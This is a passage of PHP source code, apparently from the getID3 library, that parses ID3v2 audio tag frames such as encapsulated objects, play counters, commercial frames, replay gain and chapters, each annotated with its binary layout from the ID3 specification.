							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($parsedFrame[$picture_key])) {
									$comments_picture_data[$picture_key] = $parsedFrame[$picture_key];
								}
							}
							$info['id3v2']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					}
				} while (false); // @phpstan-ignore-line
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15  GEOB General encapsulated object
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) {     // 4.16  GEO  General encapsulated object
			//   There may be more than one 'GEOB' frame in each tag,
			//   but only one with the same content descriptor
			// <Header for 'General encapsulated object', ID: 'GEOB'>
			// Text encoding          $xx
			// MIME type              <text string> $00
			// Filename               <text string according to encoding> $00 (00)
			// Content description    <text string according to encoding> $00 (00)
			// Encapsulated object    <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_mimetype) === 0) {
				$frame_mimetype = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_filename) === 0) {
				$frame_filename = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$parsedFrame['objectdata']  = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['mime']        = $frame_mimetype;
			$parsedFrame['filename']    = $frame_filename;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16  PCNT Play counter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) {     // 4.17  CNT  Play counter
			//   There may only be one 'PCNT' frame in each tag.
			//   When the counter reaches all one's, one byte is inserted in
			//   front of the counter thus making the counter eight bits bigger
			// <Header for 'Play counter', ID: 'PCNT'>
			// Counter        $xx xx xx xx (xx ...)

			$parsedFrame['data']          = getid3_lib::BigEndian2Int($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17  POPM Popularimeter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) {    // 4.18  POP  Popularimeter
			//   There may be more than one 'POPM' frame in each tag,
			//   but only one with the same email address
			// <Header for 'Popularimeter', ID: 'POPM'>
			// Email to user   <text string> $00
			// Rating          $xx
			// Counter         $xx xx xx xx (xx ...)

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_emailaddress) === 0) {
				$frame_emailaddress = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			$parsedFrame['email']   = $frame_emailaddress;
			$parsedFrame['rating']  = $frame_rating;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18  RBUF Recommended buffer size
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) {     // 4.19  BUF  Recommended buffer size
			//   There may only be one 'RBUF' frame in each tag
			// <Header for 'Recommended buffer size', ID: 'RBUF'>
			// Buffer size               $xx xx xx
			// Embedded info flag        %0000000x
			// Offset to next tag        $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3));
			$frame_offset += 3;

			$frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1);
			$parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20  Encrypted meta frame (ID3v2.2 only)
			//   There may be more than one 'CRM' frame in a tag,
			//   but only one with the same 'owner identifier'
			// <Header for 'Encrypted meta frame', ID: 'CRM'>
			// Owner identifier      <textstring> $00 (00)
			// Content/explanation   <textstring> $00 (00)
			// Encrypted datablock   <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']     = $frame_ownerid;
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19  AENC Audio encryption
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) {     // 4.21  CRA  Audio encryption
			//   There may be more than one 'AENC' frames in a tag,
			//   but only one with the same 'Owner identifier'
			// <Header for 'Audio encryption', ID: 'AENC'>
			// Owner identifier   <text string> $00
			// Preview start      $xx xx
			// Preview length     $xx xx
			// Encryption info    <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20  LINK Linked information
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) {    // 4.22  LNK  Linked information
			//   There may be more than one 'LINK' frame in a tag,
			//   but only one with the same contents
			// <Header for 'Linked information', ID: 'LINK'>
			// ID3v2.3+ => Frame identifier   $xx xx xx xx
			// ID3v2.2  => Frame identifier   $xx xx xx
			// URL                            <text string> $00
			// ID and additional data         <text string(s)>

			$frame_offset = 0;
			if ($id3v2_majorversion == 2) {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
			} else {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4);
				$frame_offset += 4;
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_url) === 0) {
				$frame_url = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['url'] = $frame_url;

			$parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset);
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21  POSS Position synchronisation frame (ID3v2.3+ only)
			//   There may only be one 'POSS' frame in each tag
			// <Head for 'Position synchronisation', ID: 'POSS'>
			// Time stamp format         $xx
			// Position                  $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['position']        = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22  USER Terms of use (ID3v2.3+ only)
			//   There may be more than one 'Terms of use' frame in a tag,
			//   but only one with the same 'Language'
			// <Header for 'Terms of use frame', ID: 'USER'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// The actual text      <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['language']     = $frame_language;
			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
			$parsedFrame['encodingid']   = $frame_textencoding;
			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23  OWNE Ownership frame (ID3v2.3+ only)
			//   There may only be one 'OWNE' frame in a tag
			// <Header for 'Ownership frame', ID: 'OWNE'>
			// Text encoding     $xx
			// Price paid        <text string> $00
			// Date of purch.    <text string>
			// Seller            <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3);
			$parsedFrame['pricepaid']['currency']   = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']);
			$parsedFrame['pricepaid']['value']      = substr($frame_pricepaid, 3);

			$parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8);
			if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) {
				$parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4));
			}
			$frame_offset += 8;

			$parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24  COMR Commercial frame (ID3v2.3+ only)
			//   There may be more than one 'commercial frame' in a tag,
			//   but no two may be identical
			// <Header for 'Commercial frame', ID: 'COMR'>
			// Text encoding      $xx
			// Price string       <text string> $00
			// Valid until        <text string>
			// Contact URL        <text string> $00
			// Received as        $xx
			// Name of seller     <text string according to encoding> $00 (00)
			// Description        <text string according to encoding> $00 (00)
			// Picture MIME type  <string> $00
			// Seller logo        <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rawpricearray = explode('/', $frame_pricestring);
			foreach ($frame_rawpricearray as $key => $val) {
				$frame_currencyid = substr($val, 0, 3);
				$parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid);
				$parsedFrame['price'][$frame_currencyid]['value']    = substr($val, 3);
			}

			$frame_datestring = substr($parsedFrame['data'], $frame_offset, 8);
			$frame_offset += 8;

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_sellername) === 0) {
				$frame_sellername = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_sellerlogo = substr($parsedFrame['data'], $frame_offset);

			$parsedFrame['encodingid']        = $frame_textencoding;
			$parsedFrame['encoding']          = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['pricevaliduntil']   = $frame_datestring;
			$parsedFrame['contacturl']        = $frame_contacturl;
			$parsedFrame['receivedasid']      = $frame_receivedasid;
			$parsedFrame['receivedas']        = $this->COMRReceivedAsLookup($frame_receivedasid);
			$parsedFrame['sellername']        = $frame_sellername;
			$parsedFrame['mime']              = $frame_mimetype;
			$parsedFrame['logo']              = $frame_sellerlogo;
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25  ENCR Encryption method registration (ID3v2.3+ only)
			//   There may be several 'ENCR' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Encryption method registration', ID: 'ENCR'>
			// Owner identifier    <text string> $00
			// Method symbol       $xx
			// Encryption data     <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']      = $frame_ownerid;
			$parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26  GRID Group identification registration (ID3v2.3+ only)

			//   There may be several 'GRID' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Group ID registration', ID: 'GRID'>
			// Owner identifier      <text string> $00
			// Group symbol          $xx
			// Group dependent data  <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']       = $frame_ownerid;
			$parsedFrame['groupsymbol']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']          = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27  PRIV Private frame (ID3v2.3+ only)
			//   The tag may contain more than one 'PRIV' frame
			//   but only with different contents
			// <Header for 'Private frame', ID: 'PRIV'>
			// Owner identifier      <text string> $00
			// The private data      <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['data']    = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28  SIGN Signature frame (ID3v2.4+ only)
			//   There may be more than one 'signature frame' in a tag,
			//   but no two may be identical
			// <Header for 'Signature frame', ID: 'SIGN'>
			// Group symbol      $xx
			// Signature         <binary data>

			$frame_offset = 0;
			$parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29  SEEK Seek frame (ID3v2.4+ only)
			//   There may only be one 'seek frame' in a tag
			// <Header for 'Seek frame', ID: 'SEEK'>
			// Minimum offset to next tag       $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['data']          = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30  ASPI Audio seek point index (ID3v2.4+ only)
			//   There may only be one 'audio seek point index' frame in a tag
			// <Header for 'Seek Point Index', ID: 'ASPI'>
			// Indexed data start (S)         $xx xx xx xx
			// Indexed data length (L)        $xx xx xx xx
			// Number of index points (N)     $xx xx
			// Bits per index point (b)       $xx
			//   Then for every index point the following data is included:
			// Fraction at index (Fi)          $xx (xx)

			$frame_offset = 0;
			$parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8);
			for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) {
				$parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint));
				$frame_offset += $frame_bytesperpoint;
			}
			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment
			// http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
			//   There may only be one 'RGAD' frame in a tag
			// <Header for 'Replay Gain Adjustment', ID: 'RGAD'>
			// Peak Amplitude                      $xx $xx $xx $xx
			// Radio Replay Gain Adjustment        %aaabbbcd %dddddddd
			// Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
			//   a - name code
			//   b - originator code
			//   c - sign bit
			//   d - replay gain adjustment

			$frame_offset = 0;
			$parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			foreach (array('track','album') as $rgad_entry_type) {
				$rg_adjustment_word = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
				$frame_offset += 2;
				$parsedFrame['raw'][$rgad_entry_type]['name']       = ($rg_adjustment_word & 0xE000) >> 13;
				$parsedFrame['raw'][$rgad_entry_type]['originator'] = ($rg_adjustment_word & 0x1C00) >> 10;
				$parsedFrame['raw'][$rgad_entry_type]['signbit']    = ($rg_adjustment_word & 0x0200) >>  9;
				$parsedFrame['raw'][$rgad_entry_type]['adjustment'] = ($rg_adjustment_word & 0x0100);
			}
			$parsedFrame['track']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']);
			$parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']);
			$parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']);
			$parsedFrame['album']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']);
			$parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']);
			$parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']);

			$info['replay_gain']['track']['peak']       = $parsedFrame['peakamplitude'];
			$info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator'];
			$info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment'];
			$info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator'];
			$info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment'];

			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CHAP">           (10 bytes)
			// Element ID      <text string> $00
			// Start time      $xx xx xx xx
			// End time        $xx xx xx xx
			// Start offset    $xx xx xx xx
			// End offset      $xx xx xx xx
			// <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['time_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					switch ($subframe['name']) {
						case 'TIT2':
							$parsedFrame['chapter_name']        = $encoding_converted_text;
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'TIT3':
							$parsedFrame['chapter_description'] = $encoding_converted_text;
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'WXXX':
							@list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2);
							$parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url'];
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'APIC':
							if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) {
								list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches;
								$subframe['image_mime']   = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime));
								$subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype);
								$subframe['description']  = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description));
								if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) {
									// the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16)
									// the above regex assumes one byte, if it's actually two then strip the second one here
									$subframe_apic_picturedata = substr($subframe_apic_picturedata, 1);
								}
								$subframe['data'] = $subframe_apic_picturedata;
								unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata);
								unset($subframe['text'], $parsedFrame['text']);
								$parsedFrame['subframes'][] = $subframe;
